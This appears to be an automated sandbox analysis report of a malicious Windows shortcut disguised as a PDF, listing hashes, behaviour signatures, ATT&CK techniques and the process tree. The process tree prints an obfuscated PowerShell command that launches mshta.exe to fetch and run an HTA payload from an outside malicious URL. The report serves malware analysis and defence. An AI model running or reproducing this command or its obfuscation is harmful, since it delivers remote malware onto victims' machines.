a06aa1b7dae18601bae1fe1d840fcd0cfd8198d7ae12e29214eccc3bcd082a1c

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22/11/2024, 13:16

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General

Target

filepdf.pdf.lnk.download.lnk
Size

1KB
MD5

25840bfeb06a9efbd1494278daf47d51
SHA1

30379cfd8c42b5f9e4fc8bf5515fd7aca444fe96
SHA256

a06aa1b7dae18601bae1fe1d840fcd0cfd8198d7ae12e29214eccc3bcd082a1c
SHA512

391c11cfc85c0245c540e03457ef5bca90dd68d0e3c5ca93374c817a93365b04213cf2fea17243e9b9f2c393b88d4e9c34d4242b1b511acf1d454a9ef8d060b5

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://ukr-netdigitalhub.pro/x64dbg2

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	4476	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 4952	4076	cmd.exe	83
PID 4076 wrote to memory of 4952	4076	cmd.exe	83
PID 4952 wrote to memory of 4476	4952	powershell.exe	84
PID 4952 wrote to memory of 4476	4952	powershell.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\filepdf.pdf.lnk.download.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://ukr-netdigitalhub.pro/x64dbg2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" http://ukr-netdigitalhub.pro/x64dbg2
    3⤵
    - Blocklisted process makes network request
    PID:4476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fe1hhtkk.gxn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4952-2-0x00007FFA88833000-0x00007FFA88835000-memory.dmp

Filesize
8KB

Download
memory/4952-3-0x000002C9E4D90000-0x000002C9E4DB2000-memory.dmp

Filesize
136KB

Download
memory/4952-13-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/4952-14-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/4952-17-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download